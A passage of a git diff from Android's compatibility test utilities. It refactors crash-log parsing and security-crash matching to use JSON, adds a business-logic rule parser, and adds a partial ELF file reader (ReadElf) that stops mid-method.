+
+    /* Extract all BusinessLogicRuleConditions from a JSON business logic rule */
+    private static List<BusinessLogicRuleCondition> extractRuleConditionList(
+            JSONObject ruleJSONObject) throws JSONException {
+        List<BusinessLogicRuleCondition> ruleConditions = new ArrayList<>();
+        // Rules do not require a condition, return empty list if no condition is found
+        JSONArray ruleConditionsJSONArray = null;
+        try {
+            ruleConditionsJSONArray = ruleJSONObject.getJSONArray(RULE_CONDITIONS);
+        } catch (JSONException e) {
+            return ruleConditions; // no conditions for this rule, apply in all cases
+        }
+        for (int i = 0; i < ruleConditionsJSONArray.length(); i++) {
+            JSONObject ruleConditionJSONObject = ruleConditionsJSONArray.getJSONObject(i);
+            String methodName = ruleConditionJSONObject.getString(METHOD_NAME);
+            boolean negated = false;
+            if (methodName.startsWith("!")) {
+                methodName = methodName.substring(1); // remove negation from method name string
+                negated = true; // change "negated" property to true
+            }
+            List<String> methodArgs = new ArrayList<>();
+            JSONArray methodArgsJSONArray = null;
+            try {
+                methodArgsJSONArray = ruleConditionJSONObject.getJSONArray(METHOD_ARGS);
+            } catch (JSONException e) {
+                // No method args for this rule condition, add rule condition with empty args list
+                ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+                continue;
+            }
+            for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+                methodArgs.add(methodArgsJSONArray.getString(j));
+            }
+            ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+        }
+        return ruleConditions;
+    }
+
+    /* Extract all BusinessLogicRuleActions from a JSON business logic rule */
+    private static List<BusinessLogicRuleAction> extractRuleActionList(JSONObject ruleJSONObject)
+            throws JSONException {
+        List<BusinessLogicRuleAction> ruleActions = new ArrayList<>();
+        // All rules require at least one action, line below throws JSONException if not
+        JSONArray ruleActionsJSONArray = ruleJSONObject.getJSONArray(RULE_ACTIONS);
+        for (int i = 0; i < ruleActionsJSONArray.length(); i++) {
+            JSONObject ruleActionJSONObject = ruleActionsJSONArray.getJSONObject(i);
+            String methodName = ruleActionJSONObject.getString(METHOD_NAME);
+            List<String> methodArgs = new ArrayList<>();
+            JSONArray methodArgsJSONArray = null;
+            try {
+                methodArgsJSONArray = ruleActionJSONObject.getJSONArray(METHOD_ARGS);
+            } catch (JSONException e) {
+                // No method args for this rule action, add rule action with empty args list
+                ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+                continue;
+            }
+            for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+                methodArgs.add(methodArgsJSONArray.getString(j));
+            }
+            ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+        }
+        return ruleActions;
+    }
+
+    /* Pare a timestamp string with format TIMESTAMP_PATTERN to a date object */
+    private static Date parseTimestamp(String timestamp) {
+        SimpleDateFormat format = new SimpleDateFormat(TIMESTAMP_PATTERN);
+        format.setTimeZone(TimeZone.getTimeZone("UTC"));
+        try {
+            return format.parse(timestamp);
+        } catch (ParseException e) {
+            return null;
+        }
+    }
+
+    /* Extract string from file */
+    private static String readFile(File f) throws IOException {
+        StringBuilder sb = new StringBuilder((int) f.length());
+        String lineSeparator = System.getProperty("line.separator");
+        try (Scanner scanner = new Scanner(f)) {
+            while(scanner.hasNextLine()) {
+                sb.append(scanner.nextLine() + lineSeparator);
+            }
+            return sb.toString();
+        }
+    }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/Crash.java b/common/util/src/com/android/compatibility/common/util/Crash.java
deleted file mode 100644
index 0c55400..0000000
--- a/common/util/src/com/android/compatibility/common/util/Crash.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import javax.annotation.Nullable;
-import java.io.Serializable;
-import java.util.Objects;
-import java.math.BigInteger;
-
-public class Crash implements Serializable {
-
-    public static final long serialVersionUID = 42L;
-
-    public final int pid;
-    public final int tid;
-    public final String threadName;
-    public final String process;
-    @Nullable // the fault address is not always present in the log
-    public final BigInteger faultAddress;
-    public final String signal;
-    @Nullable
-    public final String crashString;
-
-    public Crash(int pid, int tid, String threadName, String process,
-            BigInteger faultAddress, String signal) {
-        this(pid, tid, threadName, process, faultAddress, signal, null);
-    }
-
-    public Crash(int pid, int tid, String threadName, String process,
-            BigInteger faultAddress, String signal, String crashString) {
-        this.pid = pid;
-        this.tid = tid;
-        this.threadName = threadName;
-        this.process = process;
-        this.faultAddress = faultAddress;
-        this.signal = signal;
-        this.crashString = crashString;
-    }
-
-    @Override
-    public String toString() {
-        return "Crash{" +
-            "pid=" + pid +
-            ", tid=" + tid +
-            ", threadName=" + threadName +
-            ", process=" + process +
-            ", faultAddress=" +
-                    (faultAddress == null ? "--------" : "0x" + faultAddress.toString(16)) +
-            ", signal=" + signal +
-            '}';
-    }
-
-    @Override
-    public boolean equals(Object object) {
-        if (this == object) {
-            return true;
-        }
-        if (!(object instanceof Crash)) {
-            return false;
-        }
-        Crash crash = (Crash) object;
-        return pid == crash.pid &&
-            tid == crash.tid &&
-            Objects.equals(threadName, crash.threadName) &&
-            Objects.equals(process, crash.process) &&
-            Objects.equals(faultAddress, crash.faultAddress) &&
-            Objects.equals(signal, crash.signal);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(pid, tid, threadName, process, faultAddress, signal);
-    }
-}
diff --git a/common/util/src/com/android/compatibility/common/util/CrashUtils.java b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
index 9e60dce..7ef4c9d 100644
--- a/common/util/src/com/android/compatibility/common/util/CrashUtils.java
+++ b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
@@ -24,13 +24,9 @@
 import java.util.List;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Set;
-import java.util.HashSet;
-import java.util.stream.Stream;
-import java.util.stream.Collectors;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
 import java.math.BigInteger;
 
 /** Contains helper functions and shared constants for crash parsing. */
@@ -49,6 +45,12 @@
     public static final String NEW_TEST_ALERT = "New test starting with name: ";
     public static final Pattern sNewTestPattern =
             Pattern.compile(NEW_TEST_ALERT + "(\\w+?)\\(.*?\\)");
+    public static final String SIGNAL = "signal";
+    public static final String NAME = "name";
+    public static final String PROCESS = "process";
+    public static final String PID = "pid";
+    public static final String TID = "tid";
+    public static final String FAULT_ADDRESS = "faultaddress";
     // Matches the smallest blob that has the appropriate header and footer
     private static final Pattern sCrashBlobPattern =
             Pattern.compile("DEBUG\\s+?:( [*]{3})+?.*?DEBUG\\s+?:\\s+?backtrace:", Pattern.DOTALL);
@@ -72,8 +74,8 @@
      * returns the filename of the process.
      * e.g. "/system/bin/mediaserver" returns "mediaserver"
      */
-    public static String getProcessFileName(Crash c) {
-        return new File(c.process).getName();
+    public static String getProcessFileName(JSONObject crash) throws JSONException {
+        return new File(crash.getString(PROCESS)).getName();
     }
 
     /**
@@ -84,8 +86,20 @@
      * @param config crash detection configuration object
      * @return if a crash is serious enough to fail an sts test
      */
-    public static boolean securityCrashDetected(List<Crash> crashes, Config config) {
-        return matchSecurityCrashes(crashes, config).size() > 0;
+    public static boolean securityCrashDetected(JSONArray crashes, Config config) {
+        return matchSecurityCrashes(crashes, config).length() > 0;
+    }
+
+    public static BigInteger getBigInteger(JSONObject source, String name) throws JSONException {
+        if (source.isNull(name)) {
+            return null;
+        }
+        String intString = source.getString(name);
+        BigInteger value = null;
+        try {
+            value = new BigInteger(intString, 16);
+        } catch (NumberFormatException e) {}
+        return value;
     }
 
     /**
@@ -96,13 +110,34 @@
      * @param config crash detection configuration object
      * @return the list of crashes serious enough to fail an sts test
      */
-    public static List<Crash> matchSecurityCrashes(List<Crash> crashes, Config config) {
-        return crashes.stream()
-            .filter(c -> matchesAny(getProcessFileName(c), config.getProcessPatterns()))
-            .filter(c -> config.signals.contains(c.signal))
-            .filter(c -> !config.checkMinAddress
-                    || c.faultAddress == null || c.faultAddress.compareTo(MIN_CRASH_ADDR) >= 0)
-            .collect(Collectors.toList());
+    public static JSONArray matchSecurityCrashes(JSONArray crashes, Config config) {
+        JSONArray securityCrashes = new JSONArray();
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                // match process patterns
+                if (!matchesAny(getProcessFileName(crash), config.processPatterns)) {
+                    continue;
+                }
+
+                // match signal
+                String crashSignal = crash.getString(SIGNAL);
+                if (!config.signals.contains(crashSignal)) {
+                    continue;
+                }
+
+                // if check specified, reject crash if address is unlikely to be security-related
+                if (config.checkMinAddress) {
+                    BigInteger faultAddress = getBigInteger(crash, FAULT_ADDRESS);
+                    if (faultAddress != null
+                            && faultAddress.compareTo(config.minCrashAddress) < 0) {
+                        continue;
+                    }
+                }
+                securityCrashes.put(crash);
+            } catch (JSONException e) {}
+        }
+        return securityCrashes;
     }
 
     /**
@@ -117,14 +152,8 @@
         return false;
     }
 
-    /**
-     * Creates a list of all crashes found within the input
-     *
-     * @param input logs to scan through
-     * @return List of all crashes as Crash objects
-     */
-    public static List<Crash> getAllCrashes(String input) {
-        List<Crash> crashes = new ArrayList<>();
+    /** Adds all crashes found in the input as JSONObjects to the given JSONArray */
+    public static JSONArray addAllCrashes(String input, JSONArray crashes) {
         Matcher crashBlobFinder = sCrashBlobPattern.matcher(input);
         while (crashBlobFinder.find()) {
             String crashStr = crashBlobFinder.group(0);
@@ -158,10 +187,19 @@
                 }
             }
             if (!sAbortMessageCheckPattern.matcher(crashStr).find()) {
-                crashes.add(new Crash(pid, tid, name, process, faultAddress, signal, crashStr));
+                try {
+                    JSONObject crash = new JSONObject();
+                    crash.put(PID, pid);
+                    crash.put(TID, tid);
+                    crash.put(NAME, name);
+                    crash.put(PROCESS, process);
+                    crash.put(FAULT_ADDRESS,
+                            faultAddress == null ? null : faultAddress.toString(16));
+                    crash.put(SIGNAL, signal);
+                    crashes.put(crash);
+                } catch (JSONException e) {}
             }
         }
-
         return crashes;
     }
 
diff --git a/common/util/src/com/android/compatibility/common/util/InfoStore.java b/common/util/src/com/android/compatibility/common/util/InfoStore.java
index c5a411e..f677c80 100644
--- a/common/util/src/com/android/compatibility/common/util/InfoStore.java
+++ b/common/util/src/com/android/compatibility/common/util/InfoStore.java
@@ -16,10 +16,11 @@
 package com.android.compatibility.common.util;
 
 import java.io.IOException;
+import java.lang.AutoCloseable;
 import java.util.Arrays;
 import java.util.List;
 
-public abstract class InfoStore {
+public abstract class InfoStore implements AutoCloseable {
 
     protected static final int MAX_STRING_LENGTH = 1000;
     protected static final int MAX_ARRAY_LENGTH = 1000;
@@ -33,7 +34,8 @@
     /**
      * Closes the writer.
      */
-    abstract void close() throws IOException;
+    @Override
+    public abstract void close() throws Exception;
 
     /**
      * Start a new group of result.
diff --git a/common/util/src/com/android/compatibility/common/util/ReadElf.java b/common/util/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..8d1fdf6
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,1111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed to parse ELF
+ * (Executable and Linkable Format) files.
+ */
+// ToDo: consolidate with com.android.compatibility.common.util
+public class ReadElf implements AutoCloseable {
+    /** The magic values for the ELF identification. */
+    private static final byte[] ELFMAG = {
+        (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F',
+    };
+
+    private static final int EI_NIDENT = 16;
+
+    private static final int EI_CLASS = 4;
+    private static final int EI_DATA = 5;
+
+    private static final int EM_386 = 3;
+    private static final int EM_MIPS = 8;
+    private static final int EM_ARM = 40;
+    private static final int EM_X86_64 = 62;
+    // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+    private static final int EM_QDSP6 = 164;
+    private static final int EM_AARCH64 = 183;
+
+    private static final int ELFCLASS32 = 1;
+    private static final int ELFCLASS64 = 2;
+
+    private static final int ELFDATA2LSB = 1;
+    private static final int ELFDATA2MSB = 2;
+
+    private static final int EV_CURRENT = 1;
+
+    private static final long PT_LOAD = 1;
+
+    private static final int SHT_SYMTAB = 2;
+    private static final int SHT_STRTAB = 3;
+    private static final int SHT_DYNAMIC = 6;
+    private static final int SHT_DYNSYM = 11;
+    private static final int SHT_GNU_VERDEF = 0x6ffffffd;
+    private static final int SHT_GNU_VERNEED = 0x6ffffffe;
+    private static final int SHT_GNU_VERSYM = 0x6fffffff;
+
+    public static class Symbol {
+        public static final int STB_LOCAL = 0;
+        public static final int STB_GLOBAL = 1;
+        public static final int STB_WEAK = 2;
+        public static final int STB_LOPROC = 13;
+        public static final int STB_HIPROC = 15;
+
+        public static final int STT_NOTYPE = 0;
+        public static final int STT_OBJECT = 1;
+        public static final int STT_FUNC = 2;
+        public static final int STT_SECTION = 3;
+        public static final int STT_FILE = 4;
+        public static final int STT_COMMON = 5;
+        public static final int STT_TLS = 6;
+
+        public static final int SHN_UNDEF = 0;
+
+        public final String name;
+        public final int bind;
+        public final int type;
+        public final int shndx;
+        public final long value;
+        public final long size;
+        public final int other;
+
+        public VerNeed mVerNeed;
+        public VerDef mVerDef;
+
+        Symbol(String name, int st_info, int st_shndx, long st_value, long st_size, int st_other) {
+            this.name = name;
+            this.bind = (st_info >> 4) & 0x0F;
+            this.type = st_info & 0x0F;
+            this.shndx = st_shndx;
+            this.value = st_value;
+            this.size = st_size;
+            this.other = st_other;
+        }
+
+        @Override
+        public String toString() {
+            return String.format(
+                    "%s, %s, %s, %s, %s, %s",
+                    name,
+                    toBind(),
+                    toType(),
+                    toShndx(),
+                    getExternalLibFileName(),
+                    getExternalLibName());
+        }
+
+        private String toBind() {
+            switch (bind) {
+                case STB_LOCAL:
+                    return "LOCAL";
+                case STB_GLOBAL:
+                    return "GLOBAL";
+                case STB_WEAK:
+                    return "WEAK";
+            }
+            return "STB_??? (" + bind + ")";
+        }
+
+        private String toType() {
+            switch (type) {
+                case STT_NOTYPE:
+                    return "NOTYPE";
+                case STT_OBJECT:
+                    return "OBJECT";
+                case STT_FUNC:
+                    return "FUNC";
+                case STT_SECTION:
+                    return "SECTION";
+                case STT_FILE:
+                    return "FILE";
+                case STT_COMMON:
+                    return "COMMON";
+                case STT_TLS:
+                    return "TLS";
+            }
+            return "STT_??? (" + type + ")";
+        }
+
+        private String toShndx() {
+            if (shndx == SHN_UNDEF) {
+                return "UNDEF";
+            }
+            return String.valueOf(shndx);
+        }
+
+        // if a symbol is not define locally
+        public boolean isGlobalUnd() {
+            return (bind != STB_LOCAL && shndx == SHN_UNDEF);
+        }
+
+        // if a symbol is extern
+        public boolean isExtern() {
+            return (bind != STB_LOCAL && shndx != SHN_UNDEF);
+        }
+
+        public String getExternalLibFileName() {
+            if (mVerNeed != null) {
+                return mVerNeed.vn_file_name;
+            }
+            return null;
+        }
+
+        public String getExternalLibName() {
+            if (mVerNeed != null) {
+                return mVerNeed.vn_vernaux[0].vna_lib_name;
+            }
+            return null;
+        }
+
+        public int getExternalLibVer() {
+            if (mVerNeed != null) {
+                return mVerNeed.vn_vernaux[0].vna_other;
+            }
+            return -1;
+        }
+
+        public String getVerDefLibName() {
+            if (mVerDef != null) {
+                return mVerDef.vd_verdaux[0].vda_lib_name;
+            }
+            return null;
+        }
+
+        public int getVerDefVersion() {
+            if (mVerDef != null) {
+                return mVerDef.vd_version;
+            }
+            return -1;
+        }
+    }
+
+    public static class SecHeader {
+        public final long sh_name;
+        public final long sh_type;
+        public final long sh_flags;
+        public final long sh_addr;
+        public final long sh_offset;
+        public final long sh_size;
+        public final long sh_link;
+        public final long sh_info;
+        public final long sh_addralign;
+        public final long sh_entsize;
+
+        SecHeader(
+                long name,
+                long type,
+                long flags,
+                long addr,
+                long offset,
+                long size,
+                long link,
+                long info,
+                long addralign,
+                long entsize) {
+            this.sh_name = name;
+            this.sh_type = type;
+            this.sh_flags = flags;
+            this.sh_addr = addr;
+            this.sh_offset = offset;
+            this.sh_size = size;
+            this.sh_link = link;
+            this.sh_info = info;
+            this.sh_addralign = addralign;
+            this.sh_entsize = entsize;
+        }
+
+        @Override
+        public String toString() {
+            return String.format(
+                    "%d, %d, %d, %d, %d, %d, %d, %d, %d, %d",
+                    this.sh_name,
+                    this.sh_type,
+                    this.sh_flags,
+                    this.sh_addr,
+                    this.sh_offset,
+                    this.sh_size,
+                    this.sh_link,
+                    this.sh_info,
+                    this.sh_addralign,
+                    this.sh_entsize);
+        }
+    }
+
+    public static class VerNeed {
+        public final int vn_version;
+        public final int vn_cnt;
+        public final long vn_file;
+        public final long vn_aux;
+        public final long vn_next;
+        public String vn_file_name;
+        public VerNAux[] vn_vernaux;
+
+        VerNeed(String file_name, String lib_name, int ndx) {
+            this.vn_file_name = file_name.toLowerCase();
+            this.vn_vernaux = new VerNAux[1];
+            this.vn_vernaux[0] = new VerNAux(lib_name, ndx);
+
+            this.vn_version = 0;
+            this.vn_cnt = 0;
+            this.vn_file = 0;
+            this.vn_aux = 0;
+            this.vn_next = 0;
+        }
+
+        VerNeed(int ver, int cnt, long file, long aux, long next) {
+            this.vn_version = ver;
+            this.vn_cnt = cnt;
+            this.vn_file = file;
+            this.vn_aux = aux;
+            this.vn_next = next;
+        }
+
+        @Override
+        public String toString() {
+            String vernauxStr = "";
+            for (int i = 0; i < this.vn_cnt; i++) {
+                vernauxStr += String.format("    %s\n", this.vn_vernaux[i].toString());
+            }
+            return String.format(
+                    "%s, %d, %d, %d, %d, %d \n%s",
+                    this.vn_file_name,
+                    this.vn_version,
+                    this.vn_cnt,
+                    this.vn_file,
+                    this.vn_aux,
+                    this.vn_next,
+                    vernauxStr);
+        }
+    }
+
+    public static class VerNAux {
+        public final long vna_hash;
+        public final int vna_flags;
+        public final int vna_other;
+        public final long vna_name;
+        public final long vna_next;
+        public String vna_lib_name;
+
+        VerNAux(String lib_name, int ndx) {
+            this.vna_lib_name = lib_name;
+
+            this.vna_hash = 0;
+            this.vna_flags = 0;
+            this.vna_other = ndx;
+            this.vna_name = 0;
+            this.vna_next = 0;
+        }
+
+        VerNAux(long hash, int flags, int other, long name, long next) {
+            this.vna_hash = hash;
+            this.vna_flags = flags;
+            this.vna_other = other;
+            this.vna_name = name;
+            this.vna_next = next;
+        }
+
+        @Override
+        public String toString() {
+            return String.format(
+                    "%s, %d, %d, %d, %d, %d",
+                    this.vna_lib_name,
+                    this.vna_hash,
+                    this.vna_flags,
+                    this.vna_other,
+                    this.vna_name,
+                    this.vna_next);
+        }
+    }
+
+    public static class VerDef {
+        public final int vd_version;
+        public final int vd_flags;
+        public final int vd_ndx;
+        public final int vd_cnt;
+        public final long vd_hash;
+        public final long vd_aux;
+        public final long vd_next;
+        public VerDAux[] vd_verdaux;
+
+        VerDef(String lib_name) {
+            this.vd_verdaux = new VerDAux[1];
+            this.vd_verdaux[0] = new VerDAux(lib_name);
+
+            this.vd_version = 0;
+            this.vd_flags = 0;
+            this.vd_ndx = 0;
+            this.vd_cnt = 0;
+            this.vd_hash = 0;
+            this.vd_aux = 0;
+            this.vd_next = 0;
+        }
+
+        VerDef(int ver, int flags, int ndx, int cnt, long hash, long aux, long next) {
+            this.vd_version = ver;
+            this.vd_flags = flags;
+            this.vd_ndx = ndx;
+            this.vd_cnt = cnt;
+            this.vd_hash = hash;
+            this.vd_aux = aux;
+            this.vd_next = next;
+        }
+
+        @Override
+        public String toString() {
+            String vStr = "";
+            for (int i = 0; i < this.vd_cnt; i++) {
+                vStr += String.format("    %s\n", this.vd_verdaux[i].toString());
+            }
+            return String.format(
+                    "%s, %d, %d, %d, %d, %d \n%s",
+                    this.vd_verdaux[0].vda_lib_name,
+                    this.vd_version,
+                    this.vd_flags,
+                    this.vd_ndx,
+                    this.vd_cnt,
+                    this.vd_hash,
+                    vStr);
+        }
+    }
+
+    public static class VerDAux {
+        public final long vda_name;
+        public final long vda_next;
+        public String vda_lib_name;
+
+        VerDAux(String lib_name) {
+            this.vda_lib_name = lib_name.toLowerCase();
+
+            this.vda_name = 0;
+            this.vda_next = 0;
+        }
+
+        VerDAux(long name, long next) {
+            this.vda_name = name;
+            this.vda_next = next;
+        }
+
+        @Override
+        public String toString() {
+            return String.format("%s, %d, %d", this.vda_lib_name, this.vda_name, this.vda_next);
+        }
+    }
+
+    private final String mPath;
+    private final RandomAccessFile mFile;
+    private final byte[] mBuffer = new byte[512];
+    private int mEndian;
+    private boolean mIsDynamic;
+    private boolean mIsPIE;
+    private int mType;
+    private int mAddrSize;
+
+    /** Symbol Table offset */
+    private long mSymTabOffset;
+
+    /** Symbol Table size */
+    private long mSymTabSize;
+
+    /** Symbol entry count */
+    private int mSymEntCnt;
+
+    /** Dynamic Symbol Table offset */
+    private long mDynSymOffset;
+
+    /** Dynamic Symbol Table size */
+    private long mDynSymSize;
+
+    /** Dynamic entry count */
+    private int mDynSymEntCnt;
+
+    /** Section Header String Table offset */
+    private long mShStrTabOffset;
+
+    /** Section Header String Table size */
+    private long mShStrTabSize;
+
+    /** String Table offset */
+    private long mStrTabOffset;
+
+    /** String Table size */
+    private long mStrTabSize;
+
+    /** Dynamic String Table offset */
+    private long mDynStrOffset;
+
+    /** Dynamic String Table size */
+    private long mDynStrSize;
+
+    /** Dynamic String Table offset */
+    private long mDynamicTabOffset;
+
+    /** Dynamic String Table size */
+    private long mDynamicTabSize;
+
+    /** Version Symbols Table offset */
+    private long mVerSymTabOffset;
+
+    /** Version Symbols Table size */
+    private long mVerSymTabSize;
+
+    /** Version Needs Table offset */
+    private long mVerNeedTabOffset;
+
+    /** Version Definition Table size */
+    private long mVerNeedTabSize;
+
+    private int mVerNeedEntryCnt;
+
+    /** Version Definition Table offset */
+    private long mVerDefTabOffset;
+
+    /** Version Needs Table size */
+    private long mVerDefTabSize;
+
+    private int mVerDefEntryCnt;
+
+    /** Symbol Table symbol names */
+    private Map<String, Symbol> mSymbols;
+
+    /** Symbol Table symbol array */
+    private Symbol[] mSymArr;
+
+    /** Dynamic Symbol Table symbol names */
+    private Map<String, Symbol> mDynamicSymbols;
+
+    /** Dynamic Symbol Table symbol array */
+    private Symbol[] mDynSymArr;
+
+    /** Version Symbols Table */
+    private int[] mVerSym;
+
+    /** Version Needed Table */
+    private VerNeed[] mVerNeedArr;
+
+    /** Version Definition Table */
+    private VerDef[] mVerDefArr;
+
+    public static ReadElf read(File file) throws IOException {
+        return new ReadElf(file);
+    }
+
+    public static void main(String[] args) throws IOException {
+        for (String arg : args) {
+            ReadElf re = ReadElf.read(new File(arg));
+            re.getDynamicSymbol("x");
+            re.getSymbol("x");
+
+            Symbol[] symArr;
+            System.out.println("===Symbol===");
+            symArr = re.getSymArr();
+            for (int i = 0; i < symArr.length; i++) {
+                System.out.println(String.format("%8x: %s", i, symArr[i].toString()));
+            }
+            System.out.println("===Dynamic Symbol===");
+            symArr = re.getDynSymArr();
+            for (int i = 0; i < symArr.length; i++) {
+                if (re.mVerNeedEntryCnt > 0) {
+                    System.out.println(
+                            String.format(
+                                    "%8x: %s, %s, %s - %d",
+                                    i,
+                                    symArr[i].toString(),
+                                    symArr[i].getExternalLibName(),
+                                    symArr[i].getExternalLibFileName(),
+                                    symArr[i].getExternalLibVer()));
+                } else {
+                    System.out.println(
+                            String.format(
+                                    "%8x: %s, %s - %d",
+                                    i,
+                                    symArr[i].toString(),
+                                    symArr[i].getVerDefLibName(),
+                                    symArr[i].getVerDefVersion()));
+                }
+            }
+            re.close();
+        }
+    }
+
+    public Map<String, Symbol> getSymbols() throws IOException {
+        if (mSymbols == null) {
+            getSymbol("");
+        }
+        return mSymbols;
+    }
+
+    public Symbol[] getSymArr() throws IOException {
+        if (mSymArr == null) {
+            getSymbol("");
+        }
+        return mSymArr;
+    }
+
+    public Map<String, Symbol> getDynamicSymbols() throws IOException {
+        if (mDynamicSymbols == null) {
+            getDynamicSymbol("");
+        }
+        return mDynamicSymbols;
+    }
+
+    public Symbol[] getDynSymArr() throws IOException {
+        if (mDynSymArr == null) {
+            getDynamicSymbol("");
+        }
+        return mDynSymArr;
+    }
+
+    public boolean isDynamic() {
+        return mIsDynamic;
+    }
+
+    public int getType() {
+        return mType;
+    }
+
+    public boolean isPIE() {
+        return mIsPIE;
+    }
+
+    private ReadElf(File file) throws IOException {
+        mPath = file.getPath();
+        mFile = new RandomAccessFile(file, "r");
+
+        if (mFile.length() < EI_NIDENT) {
+            throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+        }
+
+        readHeader();
+    }
+
+    @Override
+    public void close() {
+        try {
+            mFile.close();
+        } catch (IOException ignored) {
+        }
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        try {
+            close();
+        } finally {
+            super.finalize();
+        }
+    }
+
+    private void readHeader() throws IOException {
+        mFile.seek(0);
+        mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+        if (mBuffer[0] != ELFMAG[0]
+                || mBuffer[1] != ELFMAG[1]
+                || mBuffer[2] != ELFMAG[2]
+                || mBuffer[3] != ELFMAG[3]) {
+            throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+        }
+
+        int elfClass = mBuffer[EI_CLASS];
+        if (elfClass == ELFCLASS32) {
+            mAddrSize = 4;
+        } else if (elfClass == ELFCLASS64) {
+            mAddrSize = 8;
+        } else {
+            throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+        }
+
+        mEndian = mBuffer[EI_DATA];
+        if (mEndian == ELFDATA2LSB) {
+        } else if (mEndian == ELFDATA2MSB) {
+            throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+        } else {
+            throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+        }
+
+        mType = readHalf();
+
+        int e_machine = readHalf();
+        if (e_machine != EM_386
+                && e_machine != EM_X86_64
+                && e_machine != EM_AARCH64
+                && e_machine != EM_ARM
+                && e_machine != EM_MIPS
+                && e_machine != EM_QDSP6) {
+            throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+        }
+
+        // AbiTest relies on us rejecting any unsupported combinations.
+        if ((e_machine == EM_386 && elfClass != ELFCLASS32)
+                || (e_machine == EM_X86_64 && elfClass != ELFCLASS64)
+                || (e_machine == EM_AARCH64 && elfClass != ELFCLASS64)
+                || (e_machine == EM_ARM && elfClass != ELFCLASS32)
+                || (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+            throw new IOException(
+                    "Invalid e_machine/EI_CLASS ELF combination: "
+                            + e_machine
+                            + "/"
+                            + elfClass
+                            + ": "
+                            + mPath);
+        }
+
+        long e_version = readWord();
+        if (e_version != EV_CURRENT) {
+            throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+        }
+
+        long e_entry = readAddr();
+
+        long ph_off = readOff();
+        long sh_off = readOff();
+
+        long e_flags = readWord();
+        int e_ehsize = readHalf();
+        int e_phentsize = readHalf();
+        int e_phnum = readHalf();
+        int e_shentsize = readHalf();
+        int e_shnum = readHalf();
+        int e_shstrndx = readHalf();
+
+        readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+        readProgramHeaders(ph_off, e_phnum, e_phentsize);
+    }
+
+    private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+            throws IOException {
+        // Read the Section Header String Table offset first.
+        {
+            mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+            // ...
+
+            if (sh_type == SHT_STRTAB) {
+                mShStrTabOffset = sh_offset;
+                mShStrTabSize = sh_size;
+            }
+        }
+
+        for (int i = 0; i < e_shnum; ++i) {
+            // Don't bother to re-read the Section Header StrTab.
+            if (i == e_shstrndx) {
+                continue;
+            }
+
+            mFile.seek(sh_off + i * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+            long sh_link = readWord();
+            long sh_info = readWord();
+            long sh_addralign = readX(mAddrSize);
+            ;
+            long sh_entsize = readX(mAddrSize);
+            ;
+
+            if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+                final String symTabName = readShStrTabEntry(sh_name);
+                if (".symtab".equals(symTabName)) {
+                    mSymTabOffset = sh_offset;
+                    mSymTabSize = sh_size;
+                    mSymEntCnt = (int) (sh_size / sh_entsize);
+                } else if (".dynsym".equals(symTabName)) {
+                    mDynSymOffset = sh_offset;
+                    mDynSymSize = sh_size;
+                    mDynSymEntCnt = (int) (sh_size / sh_entsize);
